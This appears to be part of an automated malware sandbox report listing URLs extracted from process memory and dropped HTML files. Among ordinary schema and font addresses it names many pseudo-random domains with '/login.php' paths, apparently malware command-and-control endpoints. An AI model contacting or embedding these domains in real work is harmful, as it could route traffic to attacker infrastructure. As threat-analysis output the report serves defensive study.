Source: svchost.exe, 0000000E.00000003.2544281210.0000017E5C35A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2721838801.0000017E5C375000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2707237589.0000017E5C37B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2551035023.0000017E5C30E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2735438447.0000017E5C37B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2663854848.0000017E5C378000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2634539675.0000017E5C37A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3272292196.0000017E5BAE3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2691874635.0000017E5C37B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd
Source: svchost.exe, 0000000E.00000003.2497798842.0000017E5C30F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2498088928.0000017E5C30E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2496908758.0000017E5C30E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2708202972.0000017E5C307000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2495670972.0000017E5C307000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2620568756.0000017E5C307000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2692130813.0000017E5C30E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2607005185.0000017E5C30E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2721724752.0000017E5C30E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2663679549.0000017E5C307000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2496072630.0000017E5C30E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2737081538.0000017E5C307000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2708824809.0000017E5C30E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2663951879.0000017E5C307000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2721936085.0000017E5C307000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2692062029.0000017E5C307000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2663822263.0000017E5C30E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2593122356.0000017E5C30E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2620465897.0000017E5C30E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2497932591.0000017E5C30E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2498749154.0000017E5C30E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsdA
Source: svchost.exe, 0000000E.00000003.2634539675.0000017E5C383000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsdAAAA
Source: svchost.exe, 0000000E.00000003.2570549062.0000017E5C37A000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsdAAAAA
Source: svchost.exe, 0000000E.00000003.2620633015.0000017E5C383000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2663768290.0000017E5C383000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2634539675.0000017E5C383000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsdZ6PU
Source: svchost.exe, 0000000E.00000003.2459398968.0000017E5C352000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsdmlns:
Source: svchost.exe, 0000000E.00000003.2551035023.0000017E5C30E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsdrty
Source: svchost.exe, 0000000E.00000003.2735438447.0000017E5C37B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2634539675.0000017E5C37A000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsds
Source: svchost.exe, 0000000E.00000003.2620633015.0000017E5C383000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsdsAAAA
Source: svchost.exe, 00000002.00000003.2839762910.0000000002B9A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3273124458.0000000002B9C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3272635102.0000000002B26000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3188355967.0000000002B26000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2839860415.0000000002B9A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2600836832.0000000002B9B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2890700232.0000000002B9C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3004653481.0000000002B9C000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://gadyciz.com/login.php
Source: svchost.exe, 00000002.00000003.3188355967.0000000002B26000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://gadyciz.com/login.php3
Source: svchost.exe, 00000002.00000003.2853239843.0000000002B26000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3272635102.0000000002B26000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3004322075.0000000002B26000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3188355967.0000000002B26000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2192051912.0000000002B26000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://gadyniw.com/login.php
Source: svchost.exe, 00000002.00000002.3273475896.0000000002BDA000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://gahyhiz.com/login.php
Source: svchost.exe, 00000002.00000003.2853239843.0000000002B26000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3272635102.0000000002B26000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3004322075.0000000002B26000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2084959742.0000000000883000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3188355967.0000000002B26000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2192051912.0000000002B26000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://gahyqah.com/login.php
Source: svchost.exe, 00000002.00000002.3273124458.0000000002B9C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3273031820.0000000002B77000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://galynuh.com/login.php
Source: login[2].htm1.2.drString found in binary or memory: http://galyqaz.com/Commercial_Printing_Services.cfm?fp=SW2zOGluRjzYOmr3oBHHfKLjoB3z%2FhRVuwyTtS%2BUG
Source: login[2].htm1.2.drString found in binary or memory: http://galyqaz.com/Print_Services.cfm?fp=SW2zOGluRjzYOmr3oBHHfKLjoB3z%2FhRVuwyTtS%2BUGtsfisSsLM8yGzA
Source: login[2].htm1.2.drString found in binary or memory: http://galyqaz.com/Printing_Inks.cfm?fp=SW2zOGluRjzYOmr3oBHHfKLjoB3z%2FhRVuwyTtS%2BUGtsfisSsLM8yGzAG
Source: login[2].htm1.2.drString found in binary or memory: http://galyqaz.com/Printing_Machines.cfm?fp=SW2zOGluRjzYOmr3oBHHfKLjoB3z%2FhRVuwyTtS%2BUGtsfisSsLM8y
Source: login[2].htm1.2.drString found in binary or memory: http://galyqaz.com/Printing_Supplies.cfm?fp=SW2zOGluRjzYOmr3oBHHfKLjoB3z%2FhRVuwyTtS%2BUGtsfisSsLM8y
Source: login[2].htm1.2.drString found in binary or memory: http://galyqaz.com/display.cfm
Source: svchost.exe, 00000002.00000003.2192051912.0000000002B26000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://galyqaz.com/login.php
Source: svchost.exe, 00000002.00000002.3273124458.0000000002B9C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3273031820.0000000002B77000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3004653481.0000000002B9C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2192051912.0000000002B26000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://gatyfus.com/login.php
Source: svchost.exe, 00000002.00000002.3273124458.0000000002B9C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3004653481.0000000002B9C000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://gatyfus.com/login.phpcom/login.php
Source: svchost.exe, 00000002.00000003.2839919583.0000000002BDA000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3273475896.0000000002BDA000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://gatyhub.com/login.php
Source: login[2].htm1.2.drString found in binary or memory: http://i3.cdn-image.com/__media__/fonts/montserrat-bold/montserrat-bold.eot
Source: login[2].htm1.2.drString found in binary or memory: http://i3.cdn-image.com/__media__/fonts/montserrat-bold/montserrat-bold.eot?#iefix
Source: login[2].htm1.2.drString found in binary or memory: http://i3.cdn-image.com/__media__/fonts/montserrat-bold/montserrat-bold.otf
Source: login[2].htm1.2.drString found in binary or memory: http://i3.cdn-image.com/__media__/fonts/montserrat-bold/montserrat-bold.svg#montserrat-bold
Source: login[2].htm1.2.drString found in binary or memory: http://i3.cdn-image.com/__media__/fonts/montserrat-bold/montserrat-bold.ttf
Source: login[2].htm1.2.drString found in binary or memory: http://i3.cdn-image.com/__media__/fonts/montserrat-bold/montserrat-bold.woff
Source: login[2].htm1.2.drString found in binary or memory: http://i3.cdn-image.com/__media__/fonts/montserrat-bold/montserrat-bold.woff2
Source: login[2].htm1.2.drString found in binary or memory: http://i3.cdn-image.com/__media__/fonts/montserrat-regular/montserrat-regular.eot
Source: login[2].htm1.2.drString found in binary or memory: http://i3.cdn-image.com/__media__/fonts/montserrat-regular/montserrat-regular.eot?#iefix
Source: login[2].htm1.2.drString found in binary or memory: http://i3.cdn-image.com/__media__/fonts/montserrat-regular/montserrat-regular.otf
Source: login[2].htm1.2.drString found in binary or memory: http://i3.cdn-image.com/__media__/fonts/montserrat-regular/montserrat-regular.svg#montserrat-regular
Source: login[2].htm1.2.drString found in binary or memory: http://i3.cdn-image.com/__media__/fonts/montserrat-regular/montserrat-regular.ttf
Source: login[2].htm1.2.drString found in binary or memory: http://i3.cdn-image.com/__media__/fonts/montserrat-regular/montserrat-regular.woff
Source: login[2].htm1.2.drString found in binary or memory: http://i3.cdn-image.com/__media__/fonts/montserrat-regular/montserrat-regular.woff2
Source: login[2].htm1.2.drString found in binary or memory: http://i3.cdn-image.com/__media__/js/min.js?v2.3
Source: login[2].htm1.2.drString found in binary or memory: http://i3.cdn-image.com/__media__/pics/28903/search.png)
Source: login[2].htm1.2.drString found in binary or memory: http://i3.cdn-image.com/__media__/pics/28905/arrrow.png)
Source: login[2].htm1.2.drString found in binary or memory: http://i3.cdn-image.com/__media__/pics/29590/bg1.png)
Source: svchost.exe, 00000002.00000003.3004653481.0000000002B9C000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://lygyvuj.com/login.php
Source: svchost.exe, 00000002.00000003.2853239843.0000000002B26000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3272635102.0000000002B26000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3004322075.0000000002B26000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3188355967.0000000002B26000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2192051912.0000000002B26000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://lymyxid.com/login.php
Source: svchost.exe, 00000002.00000002.3273031820.0000000002B77000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3004653481.0000000002B9C000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://lyrysor.com/login.php
Source: svchost.exe, 00000002.00000003.2192051912.0000000002B26000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://lysyfyj.com/login.php
Source: login[1].htm0.2.drString found in binary or memory: http://lysyfyj.com/login.php?ch=1&js=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhdWQiOiJKb2tlbiIsImV4cC
Source: svchost.exe, 00000002.00000003.3188355967.0000000002B26000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://lysyvan.com/login.php
Source: svchost.exe, 00000002.00000003.2853239843.0000000002B26000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3272635102.0000000002B26000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3004322075.0000000002B26000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3188355967.0000000002B26000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2890700232.0000000002B9C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2192051912.0000000002B26000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://lyvyxor.com/login.php
Source: svchost.exe, 00000002.00000002.3273031820.0000000002B77000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2600836832.0000000002B9B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3273475896.0000000002BDA000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://lyxynyx.com/login.php
Source: svchost.exe, 00000002.00000002.3273124458.0000000002B9C000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://lyxynyx.com/login.php3
Source: svchost.exe, 0000000E.00000003.2602576677.0000017E5CAAA000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://passport.net/tb
Source: svchost.exe, 00000002.00000003.3004653481.0000000002B9C000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://pupycag.com/login.php
Source: svchost.exe, 00000002.00000003.2853239843.0000000002B26000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3272635102.0000000002B26000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3004322075.0000000002B26000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3188355967.0000000002B26000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3273475896.0000000002BDA000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2192051912.0000000002B26000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://pupydeq.com/login.php
Source: oOzTQCDSVNrWDmuGqzFbKRbZs.exe, 00000004.00000002.2718622686.0000000001230000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://puzylyp.com/
Source: svchost.exe, 00000002.00000003.2853239843.0000000002B26000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3272635102.0000000002B26000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3004322075.0000000002B26000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3188355967.0000000002B26000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2890700232.0000000002B9C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2192051912.0000000002B26000.00000004.00000020.00020000.00000000.sdmp, oOzTQCDSVNrWDmuGqzFbKRbZs.exe, 00000004.00000002.2718622686.0000000001148000.00000004.00000020.00020000.00000000.sdmp, oOzTQCDSVNrWDmuGqzFbKRbZs.exe, 00000004.00000002.2718622686.0000000001209000.00000004.00000020.00020000.00000000.sdmp, oOzTQCDSVNrWDmuGqzFbKRbZs.exe, 00000004.00000002.2718622686.0000000001216000.00000004.00000020.00020000.00000000.sdmp, oOzTQCDSVNrWDmuGqzFbKRbZs.exe, 00000004.00000002.2718622686.00000000011EF000.00000004.00000020.00020000.00000000.sdmp, oOzTQCDSVNrWDmuGqzFbKRbZs.exe, 00000004.00000002.2718622686.000000000120E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://puzylyp.com/login.php
Source: oOzTQCDSVNrWDmuGqzFbKRbZs.exe, 00000004.00000002.2718622686.00000000011EF000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://puzylyp.com/login.php09J
Source: oOzTQCDSVNrWDmuGqzFbKRbZs.exe, 00000004.00000002.2718622686.00000000011EF000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://puzylyp.com/login.phpA:
Source: oOzTQCDSVNrWDmuGqzFbKRbZs.exe, 00000004.00000002.2718622686.00000000011EF000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://puzylyp.com/login.phpL:
Source: svchost.exe, 00000002.00000003.2853239843.0000000002B26000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3272635102.0000000002B26000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3004322075.0000000002B26000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3188355967.0000000002B26000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2192051912.0000000002B26000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://qegyhig.com/login.php
Source: svchost.exe, 00000002.00000003.2853239843.0000000002B26000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3272635102.0000000002B26000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3004322075.0000000002B26000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3188355967.0000000002B26000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2192051912.0000000002B26000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://qegyhig.com/login.phpl
Source: svchost.exe, 00000002.00000003.2839762910.0000000002B9A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3273273132.0000000002BAE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2655234712.000000000085F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3273124458.0000000002B9C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3272635102.0000000002B26000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3273031820.0000000002B77000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3188355967.0000000002B26000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2839860415.0000000002B9A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2600836832.0000000002B9B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3273475896.0000000002BDA000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3271632559.00000000008A1000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://qegyval.com/login.php
Source: svchost.exe, 00000002.00000002.3273124458.0000000002B9C000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://qegyval.com/login.php29
Source: svchost.exe, 00000002.00000002.3272635102.0000000002B26000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://qegyval.com/login.php3
Source: svchost.exe, 00000002.00000002.3273124458.0000000002B9C000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://qegyval.com/login.phpcom/login.php
Source: svchost.exe, 00000002.00000003.2192051912.0000000002B26000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://qetyfuv.com/login.php
Source: svchost.exe, 00000002.00000003.2853239843.0000000002B26000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2839919583.0000000002BDA000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3273475896.0000000002BDA000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://qetyhyg.com/login.php
Source: svchost.exe, 00000002.00000002.3273031820.0000000002B77000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2600836832.0000000002B9B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://qexyhuv.com/login.php
Source: svchost.exe, 0000000E.00000003.2497798842.0000017E5C30F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2498088928.0000017E5C30E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2496908758.0000017E5C30E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2497932591.0000017E5C30E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3272985921.0000017E5C35F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2496322414.0000017E5C30E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/
Source: svchost.exe, 0000000E.00000002.3272924032.0000017E5C337000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2570505708.0000017E5C33B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous
Source: svchost.exe, 0000000E.00000002.3272924032.0000017E5C337000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2708710682.0000017E5C377000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3273051991.0000017E5C376000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2737884459.0000017E5C374000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2544281210.0000017E5C35A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2721838801.0000017E5C375000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2551035023.0000017E5C30E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3272985921.0000017E5C35F000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://schemas.xmlsoap.org/ws/2004/09/policy
Source: svchost.exe, 0000000E.00000002.3272985921.0000017E5C35F000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://schemas.xmlsoap.org/ws/2004/09/policy~
Source: svchost.exe, 0000000E.00000002.3273209037.0000017E5CA00000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://schemas.xmlsoap.org/ws/2005/
Source: svchost.exe, 0000000E.00000002.3272924032.0000017E5C337000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3273051991.0000017E5C376000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2737884459.0000017E5C374000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/sc
Source: svchost.exe, 0000000E.00000003.2570549062.0000017E5C37A000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/scAAAAA
Source: svchost.exe, 0000000E.00000002.3272985921.0000017E5C35F000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/scrf
Source: svchost.exe, 0000000E.00000003.2570505708.0000017E5C33B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2551035023.0000017E5C30E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3272985921.0000017E5C35F000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust
Source: svchost.exe, 0000000E.00000003.2697887745.0000017E5CABB000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/Issue
Source: svchost.exe, 0000000E.00000002.3272292196.0000017E5BAE3000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RST/Issue
Source: svchost.exe, 0000000E.00000002.3272985921.0000017E5C35F000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/Issue
Source: svchost.exe, 0000000E.00000003.2570549062.0000017E5C37A000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trustAAAAA
Source: svchost.exe, 0000000E.00000002.3272924032.0000017E5C337000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trustn
Source: svchost.exe, 00000002.00000003.2192051912.0000000002B26000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://vocyzit.com/login.php
Source: svchost.exe, 00000002.00000003.3188355967.0000000002B26000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2839860415.0000000002B9A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2600836832.0000000002B9B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2890700232.0000000002B9C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3004653481.0000000002B9C000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://vofycot.com/login.php
Source: svchost.exe, 00000002.00000003.2192051912.0000000002B26000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://vojyqem.com/login.php
Source: svchost.exe, 00000002.00000003.2853239843.0000000002B26000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3272635102.0000000002B26000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3004322075.0000000002B26000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3188355967.0000000002B26000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2192051912.0000000002B26000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://vonypom.com/login.php
Source: svchost.exe, 00000002.00000003.2084959742.0000000000883000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ww1.lysyfyj.com
Source: svchost.exe, 00000002.00000003.2853239843.0000000002B26000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3272635102.0000000002B26000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3004322075.0000000002B26000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2084959742.0000000000883000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3188355967.0000000002B26000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2192051912.0000000002B26000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ww1.lysyfyj.com/
Source: PSSYIN6Y.htm.2.drString found in binary or memory: http://ww1.lysyfyj.com/?fp=ZbSrv2i18YnNfPNSqSsC6n0jQLvcDPBy65hKrYcVeZdyOk55NkMmURDujLfYrzEMz5BE5QmQN
Source: svchost.exe, 00000002.00000002.3272635102.0000000002B26000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3004322075.0000000002B26000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3188355967.0000000002B26000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ww1.lysyfyj.com/t
Source: svchost.exe, 00000002.00000002.3272777331.0000000002B3A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3272499451.0000000002B00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3188449261.0000000002B39000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ww16.vofycot.com/login.php?sub1=20240824-0243-077d-8f61-d4c58a818681
Source: svchost.exe, 00000002.00000003.3203349599.00000000008F2000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ww16.vofycot.com/login.php?sub1=20240824-0244-0577-915a-f20bc3a7af60
Source: svchost.exe, 00000002.00000002.3272732597.0000000002B37000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ww25.lyxynyx.com/login.php?subid1=20240824-0243-071d-8c4b-3f42cf5256c3co
